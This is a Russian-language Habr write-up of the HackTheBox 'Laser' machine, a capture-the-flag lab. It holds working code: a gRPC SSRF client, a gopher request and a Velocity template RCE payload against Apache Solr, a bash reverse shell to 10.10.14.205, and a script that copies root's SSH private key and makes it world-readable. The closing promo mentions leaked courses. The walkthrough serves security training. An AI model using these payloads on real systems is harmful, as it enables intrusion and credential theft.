python

HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH

  • воскресенье, 20 декабря 2020 г. в 00:26:13
https://habr.com/ru/post/533562/
  • Информационная безопасность
  • Python
  • CTF




Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.

10.10.10.201 	laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).



И мы находим даже инструмент, который позволяет нам работать с принтером.

Entry Point


Давайте посмотрим, что мы можем в итоге получить.



Осмотревшись, мы находим только один файл.



Давайте получим его и откроем.



Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.



Но мы можем достать ключ шифрования.



Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "")
mess_decrypt = base64.b64decode(mess)
IV, CT = mess_decrypt[8:24], mess_decrypt[24:]
chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)
OT = chip.decrypt(CT)
with open("decr.pdf", "wb") as f:
    f.write(OT)



По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.



Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.

Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки.
sudo pip3 install grpcio
sudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto



Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc

p = '{"feed_url":"http://localhost:22"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
    response = stub.Feed(content, timeout=30)
    print(response)
except Exception as e:
    print(e.details())



То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc

for port in range(1, 65536):
    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'
    p2 = base64.b64encode(pickle.dumps(p))
    channel = grpc.insecure_channel('10.10.10.201:9000')
    stub = ralf_pb2_grpc.PrintStub(channel)
    content = ralf_pb2.Content(data=p2)
    try:
        response = stub.Feed(content, timeout=30)
        print("Port found: " + str(port))
    except Exception as e:
        if "Connection refused" in e.details():
            print("Port: "+ str(port), end="\r")
        else:
            print("Port open: " + str(port) + " "*10)



И находим нужный, отвечающий нам порт.

USER


Узнаем что это.





И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
	stub.Feed(content, timeout=30)
except Exception as e:
	print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
	p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'
	p2 = base64.b64encode(pickle.dumps(p))
	channel = grpc.insecure_channel('10.10.10.201:9000')
	stub = ralf_pb2_grpc.PrintStub(channel)
	content = ralf_pb2.Content(data=p2)
	try:
	        response = stub.Feed(content, timeout=30)
	except Exception as e:
	        print(e.details())

И у нас есть шелл от имени пользователя.



ROOT


Для удобного доступа сгенерируем и запишем SSH ключ.





Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.





Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.



Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.



А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.



И подключимся как root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.